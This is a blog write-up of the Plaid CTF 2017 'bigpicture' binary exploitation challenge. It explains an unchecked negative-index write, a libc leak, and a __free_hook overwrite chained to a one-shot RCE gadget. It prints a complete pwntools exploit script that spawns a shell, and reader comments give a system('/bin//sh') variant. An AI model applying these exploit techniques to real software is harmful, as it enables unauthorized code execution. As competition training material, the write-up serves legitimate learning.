Plaid CTF 2017 Bigpicture Write up

Solved by 4rbit3r

It took me a while to get the final exploit working for this challenge, but it was fun  pwning this binary.

We’re given the executable, the libc (more CTF’s should do this. Saves a lot of time spent on unnecessary version hunting) and the source code too! Well, so no need to spend time on reversing.

Almost every protection has been enabled on the binary.

$ checksec bigpicture

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

The plus side is that the source code is small and really simple to understand.

The binary asks us for two integers to be passed as input to calloc. It then stores the pointer returned by calloc in a global variable called buf. It then goes into a loop which breaks if we give “quit” as input. Inside the loop the binary asks for three inputs, two co-ordinates and a character. It then goes onto to call a function plot with these three inputs as arguments. Plot checks if the co-ordinates are greater than the specified height and width. If not, it calls another function get with the co-ordinates as argument. This get basically returns a pointer to the character at the co-ordinates specified. The plot function then checks if the byte at the pointer returned is 0. If not, it prints out the character that exists at the address. If 0, the character we gave as input is written at the address. There’s also a function draw but I didn’t find it useful in any way.

So, now that we’ve covered what the binary does, we can start pwning this.

The vuln in the binary is that plot only checks the upper bound of the co-ordinates. So we could give negative integers as co-ordinates which is an out of bounds access.

Now in order to actually do anything useful with this vuln, we need to be able to access either the libc or the bss segment. We can’t access the bss since PIE is enabled.

So the option left is the libc. Now what we can do is to force calloc to return a pointer which is in the libc’s bss. This can be done if the arguments passed to calloc is large enough.

A call to calloc() with arguments 20,20 returns a pointer to the heap.

Screenshot from 2017-04-24 11-25-40

A call to calloc() with arguments 1056,1056 however returns a pointer to the libc’s bss.

Screenshot from 2017-04-24 11-29-24

So once we’ve got that allocated, we can exploit the vulnerability to mess up something in the libc that lies at a lower address than our pointer, namely the glibc hooks.

So what I did was to find the offset to __realloc_hook and leak out its contents. Once I had gotten that done, I could then move on to overwrite the __free_hook with the one-shot-RCE gadget which will be invoked once free is called (which happens right after we enter “quit”). Easy enough. But there was a difference in the offsets to __realloc_hook when I tried my exploit remotely. So I kept leaking bytes from some random offsets. What I found was that the bytes being leaked out never changed. So either PPP forgot to turn on ASLR or I’m leaking out some constants. Of course it’s the latter.

I searched the process memory for the sequence of bytes that I had leaked out and found out that they were from the text section of the libc. From that, I could calculate the correct offset to the hooks. The only way I could verify my offset was to leak out a pointer and calculate libc’s base address and check if it was page aligned.

After all that, there was still another problem, the constraints for the one-shot-RCE gadget weren’t met. So I spent quite some time on trying to find some way to pivot the stack and do a ROP.

That was a failed attempt. What I noticed was that one of the one-shot-RCE gadgets would work if I could move the stack pointer 8 bytes towards a lower address. So I started to look for something to do that.

I found this call qword [rdi] gadget which would do the trick. All I needed to do was to fill the address of the one-shot-RCE gadget in first 8 bytes of the buffer and overwrite the address of the call_rdi gadget in the __free_hook. So while executing free, the __free_hook would be invoked which would then execute the call_rdi gadget which then executes the one-shot-RCE gadget.

And well, that finally worked and landed a shell.

Here’s the script

from pwn import *
import sys

offset = 0xf1500
remote_offset = 0x10e500
call_rdi = 0x0007d8b0

def leak_stuff(target):
        addr = 0
        for x in xrange(6):
                y = -1*(target-(5-x))
                p.sendlineafter(">","{} , {} , c".format(0,y))
                p.recvuntil("overwriting ")
                byte = p.recv(1)
                addr = (addr << 8) + ord(byte)
        return addr

def write_stuff(target,payload):
        for x in xrange(6):
                y = -1*(target-x)
                byte = (payload >> (8*x)) & 0xff
                p.sendlineafter(">","{} , {} , {}".format(0,y,chr(byte))

if __name__ == "__main__":
        if sys.argv[1] == "local":
                p = process("./bigpicture")
        elif sys.argv[1] == "remote":
                p = remote("bigpicture.chal.pwning.xxx",420)
                offset = remote_offset

        p.sendlineafter("? ","1056 x 1056")
        free_offset = offset - 0x1c98
        libc = leak_stuff(offset+8) - 0x84e50
        log.success("Leaked libc @ {}".format(hex(libc)))
        one_gadget = libc + 0xf0567
        call_rdi += libc
        write_stuff(free_offset,call_rdi)
        write_stuff(0,one_gadget)
        p.sendline("quit")
        p.recvline()
        p.sendline("cat /home/bigpicture/flag")
        log.success(p.recvline())

 

Screenshot from 2017-04-24 12-43-41

4 thoughts on “Plaid CTF 2017 Bigpicture Write up

Add yours

  1. Cool, we did the same, but we didn’t need to worry about one shot: The `__free_hook` is called with rdi set to the address of the alloced buffer. That means if we just wrote “/bin//sh” at the very start, overwriting the hook with `system` is enough.

    Like

  2. Good writeup! The pointer returned by the large calloc() size request is not an address within libc’s BSS though. The address returned is actually an address within a newly mmap-ed rw-p section.

    Like

Leave a reply to rh0gue Cancel reply

Create a free website or blog at WordPress.com.

Up ↑